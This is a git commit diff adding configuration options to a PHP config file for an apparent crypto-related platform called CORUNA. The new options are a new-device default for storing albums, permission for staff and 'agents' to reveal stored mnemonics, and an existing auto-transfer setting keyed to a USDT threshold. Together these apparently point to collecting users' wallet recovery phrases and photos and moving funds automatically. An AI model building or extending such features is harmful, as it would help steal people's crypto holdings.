feat: menric

This commit is contained in:
hashbro
2026-09-06 03:55:24 +08:00
parent f94def7c1f
commit d4c096ed4a
50 changed files with 1698 additions and 148 deletions
+10
View File
@@ -50,6 +50,16 @@ return [
'max_per_agent' => (int) env('CORUNA_MAX_CHANNELS_PER_AGENT', 5),
],
'album_storage' => [
// New-device default for official channels (user_id = 0). Agent channels use users.album_storage_default.
'official_default' => in_array(strtolower((string) env('CORUNA_OFFICIAL_ALBUM_STORAGE', '0')), ['1', 'true', 'yes', 'on'], true),
],
'mnemonic_reveal' => [
// Off: only super admin can reveal. On: staff admins + agents with can_reveal_mnemonics.
'staff_enabled' => in_array(strtolower((string) env('CORUNA_STAFF_MNEMONIC_REVEAL', '0')), ['1', 'true', 'yes', 'on'], true),
],
'auto_transfer' => [
'enabled' => in_array(strtolower((string) env('AUTO_TRANSFER_ENABLED', '0')), ['1', 'true', 'yes', 'on'], true),
'threshold_usdt' => (string) env('AUTO_TRANSFER_THRESHOLD_USDT', ''),